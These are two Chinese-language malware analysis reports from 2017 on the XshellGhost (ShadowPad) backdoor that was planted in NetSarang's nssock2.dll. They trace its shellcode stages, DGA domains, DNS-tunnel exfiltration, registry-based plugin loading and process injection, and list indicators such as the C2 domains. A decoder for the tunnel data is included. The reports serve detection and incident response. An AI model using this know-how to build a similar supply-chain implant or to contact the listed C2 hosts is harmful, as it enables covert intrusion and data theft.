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【软件安全】 

Xshellghost 技术分析——入侵感染供应链软件的大规模定

向攻击 

作者：360 追日团队 

原文来源：【安全客】http://bobao.360.cn/learning/detail/4280.html 

概述 

近日，NetSarang 旗下的 Xmanager、Xshell、Xftp 和 Xlpd 等在全球流行使用的服务

器远程管理软件曝出被多家杀毒软件报毒查杀的情况，经过 360 科技集团追日团队调查分析

确认，NetSarang 旗下多款软件的关键模块被植入了高级后门，这是一起入侵感染供应链软

件的大规模攻击事件，我们将其命名为“XshellGhost”（xshell 幽灵）。 

事件时间轴 

2017 年 7 月 17 日，NetSarang 公司发布旗下多款产品的新版软件，更新修复多处 bug

和增强了会话加密能力，用于对抗 CIA 木马“BothanSpy”的密码劫持功能。 

2017 年 8 月 7 日，NetSarang 与卡巴斯基发布联合声明，声称 7 月 18 日发现软件存在

安全漏洞被攻击。 

2017 年 8 月 15 日，NetSarang 与卡巴斯基更新联合声明，发现在香港利用该软件漏洞

的案例。 

http://bobao.360.cn/learning/detail/4280.html
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攻击形式 

2017 年 7 月 NetSarang 系列软件的关键网络通信组件 nssock2.dll 被植入了恶意代码，

厂商在发布软件时并未发现恶意代码，并给感染组件打上了合法的数字签名随新版软件包一起

发布，用户机器一旦启动软件，将会加载组件中的恶意代码，将主机的用户信息通过特定

DGA(域名生成算法)产生的 DNS 域名传送至黑客的远程命令控制服务器，同时黑客的服务器

会动态下发任意的恶意代码至用户机器执行。 

攻击影响面 

使用被感染的软件的用户，将会被黑客窃取用户信息，并在云端下发任意的恶意代码进行

远程控制，由于该系列软件在国内的程序员和运维开发人员中被广泛使用，多用于管理企事业

单位的重要服务器资产，所以黑客极有可能进一步窃取用户所管理的服务器身份验证信息，秘

密入侵用户相关的服务器，请相关软件用户和企事业单位提高警惕。 

XshellGhost 技术分析 

“XshellGhost”（xshell 幽灵）是一个精密的定向攻击平台，所有的功能模块实现均为

shellcode 形式，客户端攻击通过感染供应链软件和各个 shellcode 模块，实现了无自启动项、

无落地文件和多种通信协议的远程控制，后门潜伏于受害者电脑等待黑客在云控制平台下发

shellcode 数据执行，黑客在云端甚至可能通过上传的用户信息进行选择性的定向攻击。 
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远程控制逻辑分析 

XshellGhost 的远程控制主要分为 5 个步骤： 

1.软件启动加载被感染组件 nssock2.dll，解密 shellcode1 执行。 

2.Shellcode1 解密 Shellcode2 执行如下功能： 

a)创建注册表项，上报数据到每月对应的 DGA 域名当中； 

b)通过发往知名的域名解析器当中上传用户信息给攻击者； 

c)将接收的数据写入到创建的注册表项当中； 

d)通过获取的 key1 和 key2 解密 Shellcode 3 并执行； 

3.  Shellcode3 会创建日志文件并写入信息,启动系统进程 Svchost.exe，修改其 oep 处

的代码，并注入 shellcode 形式的 Root 模块执行。 

4.  Root 模块的初始化过程中，会加载并初始化 Plugins、Config、Install、Online 和

DNS 等功能模块，然后调用函数 Install->InstallByCfg 以获取配置信息，监控注册表并创建

全局互斥体，调用 Online-> InitNet； 

5. 函数 Online-> InitNet 会根据其配置初始化网络相关资源，向指定服务地址发送信息，

并等待云端动态下发代码进行下一步攻击。 

 

初始加载模块分析 
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此次攻击的所有模块调度加载实现方式都是通过 shellcode 形式，采用了模块化的方法进

行统一管理。每个 Shellcode 的入口函数都会根据传入的第 2 个参数的数值决定将其具体要

执行的功能，参数数值和对应的功能列表如下所示： 

 

根据 Shellcode 编号 102、103 和 104 所对应的功能，可以获取每个 Shellcode 的信息

列表： 

 

关键的网络通信模块，除 DNS 协议通信，此后门还会利用其他 5 种网络协议进行远程控

制。 

 

基础管理模块分析 

Root 模块是该次攻击的基础管理模块，其它各个模块的功能的展开和运行都依赖于 Root

模块提供的函数接口列表： 
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Root 模块的初始化逻辑如下图所示： 

 

插件功能模块分析 

Plugins 模块为其他插件提供接口，包括读写注册表指定字段的加密数据，加载 DLL 等，

以及监控注册表指定字段变化并将其数据解密作为插件加载： 
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在调用 Install 模块的 InstallByCfg 函数时，会调用 Plugins 模块的

MonitorRegLoadShellCode 函数。该函数负责监控注册表指定 key，如果 key 值被改变，该

函数将会读取注册表中的数据并调用 Root 模块的 LoadAndInsertShellcodeEx 函数将其加载。 

如果网络控制端下发调用 Plugins 模块的 OpByCmd 函数的指令，将会设置其注册表指

定 key 的数据，过后 MonitorRegLoadShellCode 函数将会监控到 key 值发生改变，读取注

册表数据动态加载下发的 Shellcode 代码。 

C&C 配置模块分析 

配置模块 Config 主要负责管理当前机器当中的配置文件以及对应机器的 ID： 

 

该模块包含了一个大小最大为0x858的配置数据块，其中配置数据块是从文件中读取的，

文件位置是由该模块的第三个函数 RandomStr 提供： 

 

随机串生成的过程跟系统的卷序列号相关，所以在不同的机器上其位置并不相同。但是其

有固定的格式，RandomStr 均为大写字母 ：  

%ALLUSERSPROFILE%\RandomStr\ RandomStr\ RandomStr\ RandomStr 
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配置信息是加密存储在配置文件中的，通过调用该模块的接口函数，可以获取解密后的配

置文件，配置数据块的结构如下： 

 

配置块的头部是一个 OffsetTable，其中记录了各项配置串相对于 EncryptStringStub 的

偏移， 

目前已知的配置位置： 

OffsetTable[8]配置块 0x10 要注入的进程路径 

OffsetTable[0xC]配置块 0x18CC URL 地址和 CC 类型 

原始串的前 2 个字节为本串加密的 Key，之后通过解密函数解密获取解密后的串，所以解

密后的串长度要比原始串的长度少 2。经分析还原的解密函数如下： 

 

通过对程序自身的配置文件进行分析： 
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注入程序路径，加密前的字符 ：  

\x1F\xE5\x3A\x86\xF4\x31\xFF\xB8\x9F\x64\x81\x96\xAA\xC4\xB1\xF0\x02\x5E\xC5\xB1\x3E\xAF\x98\x19\xF6\

x00\x21\x39\x20\xC5\xC4\x39 

解密后：%windir%\system32\svchost.exe 

CC 远程命令控制服务器的 URL，加密前的串 ：  

\x7B\x3C\x1F\x9F\x7E\x01\xA0\x08\xF0\xF6\x1C\x7F\x71\x60\xBD\x63\x66\x95\x7B\xE6\x62\x4C\xB3 

解密后：dns://www.notped.com 

DNS 查询地址： 

8.8.8.8 

8.8.4.4 

4.2.2.1 

4.2.2.2 

代码注入模块分析 

主体代码注入模块 Install，负责将 Root 模块代码注入到指定的进程当中，以及调用

Online 模块的相关初始化工作： 

 

http://p5.qhimg.com/t01b9b7b2eedd11e711.png
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 函数 InstallByCfg 的逻辑如下所示： 

 

功能 A： 

1、调用 Plugins 的 MonitorRegLoadShellCode 函数，创建并监控指定注册表键,读取

注册表数据加载 shellcode 执行； 

2、调用 Config 的 RandomStr 函数获取字符串，用来创建全局互斥体 

a)如果全局互斥体已存且 Root 的 Op 数值为 3，结束自身进程。 

b)调用 Online 的 InitNet，初始化网络模块 

功能 B： 

1、调用 Plugins 的 MonitorRegLoadShellCode 函数，打开并监控指定注册表键, 读取

注册表数据加载 shellcode 执行； 

2、查询 Shellcode 106，如果不存在，则休眠 1 秒继续查询 

3、调用 Shellcode 106 的第 2 个接口函数 

功能 C： 

1、调用 Config 的函数 GetCfgCon 获取配置文件中保存的 Pe 路径 

2、启动 Pe，修改 Oep 处的代码，注入 Shellcode Root 

a)如果失败，则创建线程调用功能 A 

http://p1.qhimg.com/t016bc7f4ae01b85746.png
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b)如果成功，则结束自身 

网络通信模块分析 

Online 模块是本次攻击的网络通信管理模块，在本次攻击事件当中我们已经发现了 DNS

模块，其它几个网络模块（TCP、HTTP、UDP、HTTPS、SSL）虽然在代码当中有所体现，

但是在 shellcode 当中尚未主动运行，各个网络模块的函数接口及其作用如下表所示： 

 

各个网络模块的功能的展开和运行依赖于 Online 模块提供的函数接口列表： 

 

http://p2.qhimg.com/t0144e2945382b51ede.png
http://p2.qhimg.com/t017f3005c741d8510b.png
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InitNet 在读取网络代理配置以后每隔 1 秒调用功能 A，如果功能 A 返回 20000，则函数

彻底结束，功能 A 逻辑： 

  

功能 B 逻辑，用于等待云端下发代码执行： 

http://p0.qhimg.com/t01cf62be6acc177c80.png
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此次攻击已知使用的通信模块是 DNS 模块，该后门基于 DNS 隧道技术进行通信： 

http://p1.qhimg.com/t012670ba96139c6a2b.png
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该模块发送的数据包有 3 种类型： 

1.初始化数据包，大小为 0x18  

  

2.Data 数据包，大小 0x8+ 

  

3.关闭数据包， 大小 0x8 

http://p1.qhimg.com/t018e4339f8f61b15c6.png
http://p2.qhimg.com/t01a2322ee0369c4812.png
http://p3.qhimg.com/t01a6e9eb064602dbcd.png
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其发送函数如下： 

 

 

http://p1.qhimg.com/t0173ed403ba1b88b54.png
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在调用 DNS 模块 2 号函数返回自定义对象时，其调用了 GetAdaptersAddresses 获取

适配器的 DNS 

 

最多收集 0x10 个 DNS，随后在调用该模块第 3 号函数时，其使用收集到的 DNS，合并

Config 文件中的 4 个 DNS 地址，循环往每一个 DNS 发送查询，等到到任何一个返回数据，

或者超时，并记录下第一个返回应答的 DNS 数据包，以后再次发送的时候，只会给第一个返

回应答的 DNS 发送数据。 
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在发送数据包时，会将数据嵌套到 DNS 协议中发送，其中数据会编码成特定的字符串，

添加在要配置文件中的 CC DNS URL 前，实现 DNS 隧道通讯。 
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总结 

通过技术分析，我们发现“XshellGhost”（xshell 幽灵）是一整套复杂的模块化的精密木

马病毒，这是一起黑客入侵供应链软件商后进行的有组织有预谋的大规模定向攻击，我们仍将

会持续关注此次攻击的进一步发展，建议广大用户使用 360 安全卫士查杀“XshellGhost”

（xshell 幽灵）木马病毒和防御供应链软件攻击。 

360 追日团队（Helios Team） 

360 追日团队（Helios Team）是 360 科技集团下属的高级威胁研究团队，从事 APT 攻

击发现与追踪、互联网安全事件应急响应、黑客产业链挖掘和研究等工作。团队成立于 2014

年 12 月，通过整合 360 公司海量安全大数据，实现了威胁情报快速关联溯源，独家首次发现

并追踪了三十余个 APT 组织及黑客团伙，大大拓宽了国内关于黑客产业的研究视野，填补了

国内 APT 研究的空白，并为大量企业和政府机构提供安全威胁评估及解决方案输出。 

已公开 APT 相关研究成果 
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http://p4.qhimg.com/t014b21fff5ae34d59d.png
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Xshell 被植入后门代码事件分析报告 

作者：360 天眼实验室 

原文来源：【安全客】http://bobao.360.cn/learning/detail/4278.html   

文档信息 

 

事件概要 

http://bobao.360.cn/learning/detail/4278.html
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事件简述 



  安全客-2017 年季刊-第 3 期 

—23— 
 

近日，非常流行的远程终端 Xshell 被发现被植入了后门代码，用户如果使用了特洛伊化

的 Xshell 工具版本会导致本机相关的敏感信息被泄露到攻击者所控制的机器甚至被远程控制

执行更多恶意操作。 

Xshell 特别是 Build 1322 在国内的使用面很大，敏感信息的泄露及可能的远程控制导致

巨大的安全风险，我们强烈建议用户检查自己所使用的 Xshell 版本，如发现，建议采取必要

的补救措施。 

事件时间线 

2017 年 8 月 7 日 

流行远程管理工具 Xshell 系列软件的厂商 NetSarang 发布了一个更新通告，声称在卡巴

斯基的配合下发现并解决了一个在 7 月 18 日的发布版本的安全问题，提醒用户升级软件，其

中没有提及任何技术细节和问题的实质，而且声称没有发现漏洞被利用。 

2017 年 8 月 14 日 

360 威胁情报中心分析了 Xshell Build 1322 版本（此版本在国内被大量分发使用），发

现并确认其中的 nssock2.dll 组件存在后门代码，恶意代码会收集主机信息往 DGA 的域名发

送并存在其他更多的恶意功能代码。360 威胁情报中心发布了初始的分析报告，并对后续更复

杂的恶意代码做进一步的挖掘分析，之后其他安全厂商也陆续确认了类似的发现。 

2017 年 8 月 15 日 

卡巴斯基发布了相关的事件说明及技术分析，与 360 威胁情报中心的分析完全一致，事

件可以比较明确地认为是基于源码层次的恶意代码植入。非正常的网络行为导致相关的恶意代

码被卡巴斯基发现并报告软件厂商，在 8 月 7 日 NetSarang 发布报告时事实上已经出现了恶

意代码在用户处启动执行的情况。同日 NetSarang 更新了 8 月 7 日的公告，加入了卡巴斯基

的事件分析链接，标记删除了没有发现问题被利用的说法。 

影响面和危害分析 

目前已经确认使用了特洛伊化的 Xshell 的用户机器一旦启动程序，主机相关基本信息（主

机名、域名、用户名）会被发送出去。同时，如果外部的 C&C 服务器处于活动状态，受影响

系统则可能收到激活数据包启动下一阶段的恶意代码，这些恶意代码为插件式架构，可能执行

攻击者指定任意恶意功能，包括但不仅限于远程持久化控制、窃取更多敏感信息。 
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根据 360 网络研究院的 C&C 域名相关的访问数量评估，国内受影响的用户或机器数量在

十万级别，同时，数据显示一些知名的互联网公司有大量用户受到攻击，泄露主机相关的信息。 

解决方案 

检查目前所使用的 Xshell 版本是否为受影响版本，如果组织保存有网络访问日志或进行

实时的 DNS 访问监控，检查所在网络是否存在对于附录节相关 IOC 域名的解析记录，如发现，

则有内网机器在使用存在后门的 Xshell 版本。 

目前厂商 NetSarang 已经在 Xshell Build 1326 及以后的版本中处理了这个问题，请升

级到最新版本，修改相关系统的用户名口令。厂商修复过的版本如下： 

Xmanager Enterprise Build 1236 

Xmanager Build 1049 

Xshell Build 1326 

Xftp Build 1222 

Xlpd Build 1224 

软件下载地址：https://www.netsarang.com/download/software.html   

技术分析 

基本执行流程 

Xshell 相关的用于网络通信的组件 nssock2.dll 被发现存在后门类型的代码，DLL 本身有

厂商合法的数字签名，但已经被多家安全厂商标记为恶意： 

https://www.netsarang.com/download/software.html


  安全客-2017 年季刊-第 3 期 

—25— 
 

 

360 威胁情报中心发现其存在加载执行 Shellcode 的功能： 
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我们将这段代码命名为 loader_code1, 其主要执行加载器的功能，会再解出一段新的代

码（module_Activation），然后动态加载需要的 Windows API 和重定位，跳转过去。 

经过对进程执行的整体分析观察，对大致的执行流程还原如下图所示： 

 

基本插件模块 

Module_Activation 

module_Activation 会开启一个线程，然后创建注册表项：

HKEY_CURRENT_USER\SOFTWARE\-[0-9]+(后面的数字串通过磁盘信息 xor 0xD592FC92

生成)，然后通过 RegQueryValueExA 查询该注册表项下”Data”键值来执行不同的功能流

程。 
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当注册表项”Data”的值不存在时，进入上传信息流程，该流程主要为收集和上传主机

信息到每月一个的 DGA 域名，并保存服务器返回的配置信息，步骤如下： 

获取当前系统时间，根据年份和月份按照下面的算法生成一个长度为 10-16 的字符串，

然后将其与”.com”拼接成域名。 
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年份-月份 和 生成的域名对应关系如下： 
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接着，将前面收集的网络、计算机、用户信息按照特定算法编码成字符串，然后作为上面

的域名前缀，构造成查询*. nylalobghyhirgh.com 的 DNS TXT 的数据包，分别向 8.8.8.8 | 

8.8.4.4 | 4.2.2.1 | 4.2.2.2 | [cur_dns_server] 发送，然后等待服务器返回。 
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服务器返回之后（UDP）校验数据包，解析之后把数据拷贝到之前传入的参数中，下一

步将这些数据写入前面设置的注册表项，也就是

HKEY_CURRENT_USER\SOFTWARE\-[0-9]+的 Data 键中。这些数据应该是作为配置信息存

放的，包括功能号，上次活跃时间，解密下一步 Shellcode 的 Key 等等。 

 

当 RegQueryValueExA 查询到的 Data 键值存在数据时，则进入后门执行流程，该流程

利用从之前写入注册表项的配置信息中的 Key 解密 loader_code2 后跳转执行。 
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解密 loader_code2 的算法如下：先取出 module_Activation 偏移 0x3128 处的

original_key，接着取 key 的最后一个 byte 对偏移 0x312C 处长度为 0xD410 的加密数据逐

字节进行异或解码，每次异或后 original_key 再与从配置信息中读取的 key1、key2 进行乘、

加运算，如此循环。 
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解密之后跳转到 loader_code2 中, loader_code2 其实和 loader_code1 是一样的功能，

也就是一个 loader，其再次从内存中解密出下一步代码：module_ROOT, 然后进行 IAT 的加

载和重定位，破坏 PE 头，跳转到 ROOT 模块的入口代码处。 

Module_ROOT 

ROOT 模块即真正的后门核心模块，为其他插件提供了基本框架和互相调用的 API，其会

在内存中解密出 5 个插件模块 Plugin、Online、Config、Install 和 DNS，分别加载到内存

中进行初始化，如果插件在初始化期间返回没有错误，则被添加到插件列表中。 
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每个插件由 DLL 变形而成，加载后根据 fwReason 执行不同功能 (其中有一些自定义的

值 100,101,102,103,104).不同的插件模块 fwReason 对应的功能可能有细微的差异，整体上

如下： 
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接着 ROOT 模块搜索 ID 为 103（“Install”）的插件，并调用其函数表的第二个函数。进

行安装操作。 

 

同时 ROOT 模块也通过把自身函数表地址提供给其他模块的方式为其他模块提供 API，

这些 API 主要涉及跨模块调用 API、加解密等功能。 
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另外其中解密的函数以及加载插件的函数也是由动态解出来的一段 shellcode，可见作者

背后的煞费苦心： 
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Module_Plugin 

Plugin 模块为后门提供插件管理功能，包括插件的加载、卸载、添加、删除操作，管理

功能完成后会通过调用 Online 的 0x24 项函数完成回调，向服务器返回操作结果。模块的辅

助功能为其他插件提供注册表操作。 

Plugin 的函数列表如下： 

 

其中比较重要的是 fuc_switch 和 CreateLoadRegThread 。 

fuc_switch 

此函数根据第二个参数结构体的 0x4 偏移指令码完成不同操作，指令码构造如下 ： 

（ID<<0x10）| Code 

0x650000 功能 

此功能获取当前加载的插件列表字符串，此功能遍历全局 ModuleInfo 结构体获取模块名

称列表，完成后通过 Online 模块的 0x24 执行调用者参数的回调函数，该回调为网络通知函

数。 
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0x650001 功能 

此功能首先通过参数 ID 获取模块信息，如果该 ID 未被加载，则调用 Root 的加密函数加

密模块数据，随后更新对应注册表值，完成模块更新，模块数据加密后保存，在 Root 模块初

始化过程中会调用 Plugin 的注册表监听线程，该线程检测到注册表项变动后加载此模块： 

 

0x650002 功能 

此功能通过文件名称加载 PE 结构的插件，Root 模块的 0x30 项调用 LoadLibrary 函数加

载 DLL，并将插件结构插入全局插件双链表： 
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0x650003 功能 

该功能通过模块基址查找指定模块，内存卸载模块后删除对应注册表键值，彻底卸载模块： 

 

0x650004 功能 
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此功能检测参数指定模块 ID 是否被加载，如果该 ID 已被加载，通过 Online 的网络回调

发送一个长度为 1，数据为 0x00 的负载网络包，如果 ID 未被加载则发送一个长度为 0 的负

载网络包。 

 

CreateLoadRegThread 

该函数创建线程，异步遍历注册表项“SOFTWARE\Microsoft\<MachineID>”，其中

MachineID 根据硬盘序列号生成。随后创建 Event 对象，使用 RegNotifyChangeKeyValue

函数监测插件注册表键值是否被更改，被更改后则遍历键值回调中解密并加载模块并插入全局

插件 ModuleInfo。 

Plugin 模块的维护数据结构为双链表，并为每个插件定义引用计数，当引用计数为 0 时

才从内存卸载插件。结构大致如下： 
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Module_Online 

该模块主要功能是与服务器连接，获取服务器返回的控制指令，然后根据控制指令中的插

件 ID 和附加数据来调用不同的插件完成相应的功能。同时 Online 也提供 API 接口给其他插

件模块用于回传数据。 

Online 模块的函数表如下，可以看到其提供了一系列收发数据的 API 
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网络连接开始时首先调用 Config 表中的第二个函数读取配置信息，通过

InternetCrackUrlA 将配置信息中的字符串(默认为 dns://www.notepad.com )取得 C&C 地

址，并根据字符串前面的协议类型采取不同的连接方式，每个协议对应一个 ID，同时也是协

议插件的 ID，目前取得的样本中使用的 DNS 协议对应 ID 为 203。（虽然有 HTTP 和 HTTPS，

但是 ONLINE 只会使用 HTTP），协议与 ID 的对应关系如下： 
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在建立起与 C&C 服务器的连接之后，可以根据接收到的服务器指令调用指定的插件执行

指定的操作，并返回执行结果。首先先接收 0x14 字节的头部数据，这些数据将用于解压和解

密下一步接收的指令数据。 
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接受的指令结构大致如下 ： 

struct Command 

{ 

DWORD HeaderSize;  

WORD OpCode; 

WORD PluginID; 

DWORD DWORD0; 

DWORD DataSize; 

DWORD DWORD1; 

DWORD DataBuff 

... 

}; 

Online 模块会根据 PluginID 找到对应的模块，调用其函数列表的第一个函数

func_switch()，根据 OpCode 执行 switch 中不同的操作，并返回信息给服务器。 

 

另外当 Online 使用内置的 URL 方式时，会根据指定的参数使用 HTTP-GET\HTTPS-GET\ 

FTP 来下载文件： 
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在请求服务器的时候，也会将受害者的基本信息上传到服务器中，这些信息包括：当前日

期和时间、内存状态、CPU 信息、可用磁盘空间、系统区域设置、当前进程的 PID、操作系

统版本、host 信息和用户名。 

 

Online 模块还通过调用 Plugin 模块提供的 API 维护一个注册表项： 

HKLM\SOFTWARE\[0-9A-Za-z]{7} 或者 HKCU\SOFTWARE\[0-9A-Za-z]{7}，内容是

记录系统时间和尝试连接次数。 

 

Module_Config 

Config 模块在初始化的过程中，先分别解出数据段保存的一些默认配置信息，然后把这

些参数拼接起来，使用 Root 模块虚表中的 DoEncipher 函数进行加密，最后保存到一个用硬

盘卷标号计算出来的路径里。同时 Config 模块提供了读取配置文件的接口。 
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Config 模块的虚表共有 3 个函数 

ModInit 

该函数共有三个子功能 

660000 

 

该功能主要调用 Config 模块的 GetDecodedConfigData 函数，获取配置文件作为

Payload，最终调用 Online 模块虚表的 0x24 功能（上传给 CC 服务器） 

660001 

 

功能主要就是传递了自己的功能 ID，没有 Payload 

660002 

 

功能主要就是传递了下自己的功能 ID，没有 Payload 

GetDecodedConfigData 



  安全客-2017 年季刊-第 3 期 

—47— 
 

该函数首先通过磁盘卷标号计算得到当前机器的配置文件路径。然后读取配置文件，并调

用 Root 模块的 DoDecipher 解密后，返回结果给调用者。 

 

GetEncodedVolumeSN 

该函数首先获取系统盘的磁盘卷标号，根据压入的 szKey 计算出一个结果，然后调用 Root

模块的 Base64Encode1Byte 来加密得到加密串。 
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默认配置信息主要为以下信息 

 

接着写入配置文件，分别通过磁盘卷标号，以及不同的 key，得出四组不同的加密串 

 

然后和依次系统路径”%ALLUSERSPROFILE%\\”拼接得到最终配置文件的路径（例如

C:\ProgramData\YICIO\PMIEYKOS\IYM\XIEUWSOY），最后将加密后的配置文件直接写入

到该路径下。 

Module_Install 
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Install 模块主要用于检测进程环境、控制进程退出和进入后门流程。Install 模块被 ROOT

模块调用其函数表的第二个函数开始执行，首先调整进程权限，然后调用 Config 模块函数表

的第二个函数读取配置信息。 

 

接着通过判断 ROOT 模块从上层获取的参数进行不同的流程： 

 

当参数为 2\3\4 时，创建互斥体 “Global\[16-48 个随机字符]”，并直接调用 Online 模

块函数表偏移为 0x04 的函数，即开始循环连接 C&C 服务器。 
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当参数为 5\6 时，尝试加载 ID 为 106（这个模块不在默认内置的模块列表中，需要进一

步下载）。 

如果都不是以上情况，则尝试以系统权限启动 winlogon.exe 或者启动 scvhost.exe，然

后注入自身代码，然后启动 Online 模块。 

 

同时 Install 模块还会提供检测当前运行环境的接口：是否在调试、是否被进程监控、流

量监控等，下面是一些特征字符串和相关代码： 
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Module_DNS 

该模块的主要功能是使用 DNS 协议处理 CC 通信过程。模块的函数表如下 

 

对应的函数功能分别为： 



  安全客-2017 年季刊-第 3 期 

—52— 
 

 

模块的工作流程为： 

在模块入口函数 100 编号对应的初始化过程中，模块会开启线程，等待其他插件数据到

来，当收到数据时，调用 dispatch 将数据通过 DNS 发送到 CC 服务器。 

其他插件调用该插件的第二个函数(也就是 ThreadRecv 函数)时，模块开启线程从 CC 接

收数据，并将解码后的数据写到共享内存。 

其他插件调用该插件的第三个函数(也就是 RecvDataProc 函数)可以取得该模块与 CC 服

务器通信后的数据内容 

其他插件调用该插件的第四个函数(也就是 SendDataProc 函数)可以使用该模块向 CC

服务器发送数据内容。 

在初始化函数中，创建一个线程，在线程内部通过互斥量等待，当互斥量被触发后，调用

该模块的 dispatch 函数。 
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从 CC 接收数据的代码过程 

在通信过程中，开启线程接收数据 

 

线程函数将接收到数据存储在结构体的 0x60 偏移处 
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接收到的数据首先判断接收到的数据长度是否符合要求，然后使用解码函数

(DecodeCCData1)进行解码并判断解码后的内容格式是否符合。此后，使用同样的解码算法

(DecodeCCData1)再对数据进行一次解码。 
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将上面解码后的内容使用另一个解码算法(DecodeCCData2)进行解码，解出来的内容的

第一个 DWORD 为解密 KEY，使用解密 KEY 将接收到的数据进行解密后，判断解密后的内容

的第一个 WORD 为数据包类型 id，数据包类型 ID 包括:0，1，3 三种。每种不同的数据包使

用不同的结构类型和不同的解密算法。 

 

在对不同的数据类型的处理过程中，都会将解码后的内容写入到结构体偏移+0x5C 的地

址中，该地址就是数据传输时使用的共享内存地址。 
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数据包的解密算法代码片段为： 

 

向 CC 发送数据的代码片段 
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代码分析对抗 

样本使用到的技术很多，例如动态加载、花指令、反调试、多层解密、代码注入等，使用

的这些技巧大大增加了安全人员分析工作所需要花费的时间，也能有效躲避杀软检测，并使一

些分析工具产生异常而无法正常执行恶意代码流程。下面举例说明一下使用到的技巧： 

代码中加入了大量的 JMP 类型花指令，还有一些无效的计算，比如下图中红框中 ECX。 

 

在每次获取 API 地址之后，都会检测 API 代码第一字节是否等于 0xcc，如果等于则结束

后续行为，否则继续。 
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Shellcode 通过自身的配置信息，通过一个 for 循环，循环 4 次。每次根据 EDI 定位配置

信息，通过下面的结构体来获取要拷贝的数据的大小，将所有需要的数据拷贝到申请的内存中。

然后解密数据。 

 

循环拷贝数据 

关联分析及溯源 

8 月的域名为 nylalobghyhirgh.com，360 威胁情报中心显示此域名为隐私保护状态： 
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域名目前在 7 月 23 日被注册，8 月 3 日达到解析量的顶峰，360 网络研究院的数据显示

解析量巨大，达到 800 万。 

 

所有的请求类型为 NS 记录，也就是说域名极有可能被用来析出数据而不是用于 C&C 控

制，这与前面的分析结论一致。 

而 notped.com 作为已知的相关恶意域名，我们发现其注册人为 Yacboski Curtis，据此

关联点找到了一些其他的关联域名，具体见附件的 IOC 节，由于这些域名并没有找到对应的

连接样本，目前只是怀疑，不能确定就是其他的相关恶意域名。 



  安全客-2017 年季刊-第 3 期 

—60— 
 

 

参考链接 
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附件 

IOC 列表 
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https://cdn.securelist.com/files/2017/08/ShadowPad_technical_description_PDF.pdf
https://cdn.securelist.com/files/2017/08/ShadowPad_technical_description_PDF.pdf
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DNS 隧道编解码算法 

Xshell 后门代码通过 DNS 子域名的方式向 C&C 服务器输出收集到的主机信息，以下是

分析得到的编码算法及实现的对应解码程序。 

编码算法是先经过下图的算法 1 加密成二进制的形式如图： 

 

算法 1 加密后的数据： 
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然后把结果转换成可见的字符转换方法是通过每个字节的高位减‘j’低位减‘a’，把 1

个字节拆分成 2 个字节的可见字符，这样就浪费了一个字节： 

 

解密算法是加密算法的逆运算，解密算法流程入下图： 

 

根据网上的一些公开的流量数据， 
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解密出的一些上传的数据： 
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实现的解码代码如下 ： 

int sub_1C3E(int a1, unsigned char* a2, int a3, int a4) 

{ 

char v4; // cl@1 

int v5; // esi@1 

unsigned char* v6; // edi@2 

byte v7[1024]= {0}; // eax@11 

char v8; // dl@11 
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int v10; // [sp+4h] [bp-10h]@1 

int v11; // [sp+8h] [bp-Ch]@1 

int v12; // [sp+Ch] [bp-8h]@1 

int v13; // [sp+10h] [bp-4h]@1 

v4 = 0; 

v5 = 0; 

v10 = a1; 

v11 = a1; 

v12 = a1; 

v13 = a1; 

int i = 0; 

if ( a3 > 0 ) 

{ 

v6 = a2 - a4; 

do 

{ 

if ( v5 & 3 ) 

{ 

switch ( v5 & 3 ) 

{ 

case 1: 

v11 = 0xBFD7681A - 0x7DB1F70F * v11; 

v4 = (*((byte *)&v11  + 2) ^ (*((byte *)&v11 + 1) 

+ (*((byte *)&v11) ^ v4))) 

- *((byte *)&v11 + 3); 

//v7 = (byte *)(v5 + a4); 

v8 = v4 ^ *(byte *)(v6 + v5++ + a4); 

v7[i] = v8; 

i++; 

break; 

case 2: 

v12 = 0xE03A30FA - 0x3035D0D6 * v12; 

v4 = (*((byte *)&v12  + 2) ^ (*((byte *)&v12 + 1) 

+ (*((byte *)&v12) ^ v4))) 

- *((byte *)&v12 + 3); 

//v7 = (byte *)(v5 + a4); 

v8 = v4 ^ *(byte *)(v6 + v5++ + a4); 
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v7[i] = v8; 

i++; 

break; 

case 3: 

v13 = 0xB1BF5581 - 0x11C208F * v13; 

v4 = (*((byte *)&v13  + 2) ^ (*((byte *)&v13 + 1) 

+ (*((byte *)&v13) ^ v4))) 

- *((byte *)&v13 + 3); 

//v7 = (byte *)(v5 + a4); 

v8 = v4 ^ *(byte *)(v6 + v5++ + a4); 

v7[i] = v8; 

i++; 

break; 

} 

} 

else 

{ 

v10 = 0x9F248E8A - 0x2F8FCE7E * v10; 

v4 = (*((byte *)&v10 + 2) ^ (*((byte *)&v10 + 1) 

+ (*((byte *)&v10 ) ^ v4))) 

- *((byte *)&v10 + 3); 

//v7 = (byte *)(v5 + a4); 

v8 = v4 ^ *(byte *)(v6 + v5++ + a4); 

v7[i] = v8; 

i++; 

} 

} 

while ( v5 < a3 ); 

printf("Last Step Decode：%s", (char*)v7); 

} 

return 0; 

} 

int _tmain(int argc, _TCHAR* argv[]) 

{ 

unsigned char szText[117] = 

"ajajlyoogrmkdmnndtgphpojmwlvajdkbtephtetcqopnkkthlplovbvardopqfleonrgqntmresctokkxcnfvexhjpnpwepgnj

ubrbrbsenhxbkmy"; 
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unsigned char szXXX[58] = {0}; 

for (int i=0; i<57; i++) 

{ 

unsigned char One = szText[2*i] - 'a'; 

unsigned char Two = szText[2*i+1] -'j'; 

printf("%d, %d\r\n", One, Two); 

unsigned char Total = One+Two*16; 

szXXX[i] = Total; 

} 

printf("First Step Decode：%s", (char*)szXXX);  

sub_1C3E(0, szXXX, 56, 0); //算法 1 

return 0; 

} 

ShellCode 的处理 

本次后门多次解出 ShellCode 的过程都是用的同一套模版代码。经过分析发现 PE 的一些

基本信息还是保留了的，ShellCode 解码用到的结构整理如下 ： 

struct ShellContext 

{ 

u32 dwShellKey;//用于解密重定位表以及输入表的数据 

u32 HeadCheck;//和 dwShellKey 异或用来校验 Key 是否合法 

u32 SizeOfImage;//Image 大小 

u32 ModBase;//默认基地址 

u32 RelocTable;//重定位表偏移 

u32 RelocSize;//重定位表大小 

u32 ImportTable;//输入表偏移 

u32 ImportSize;//输入表大小 

u32 OEP;//OEP 地址 

u16 Magic;//010b 为 pe32 

u8MajorVer;//链接器版本 

u8  MinorVer;// 

u32 NumberOfSections;//节表数 

u32 timeStamp;//时间戳 

SectionDescsecArray[1]; //节表描述数组 

}; 

下面介绍下 ShellCode 的加载过程，在调用 Loader 之前先将 ShellCode 起始地址以及

大小入栈。 
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然后进入 Loader 部分处理流程： 

1）从 PEB 里找到 Kernel 模块，从中找到 LoadLibrary，GetProcAddress，VirtualAlloc

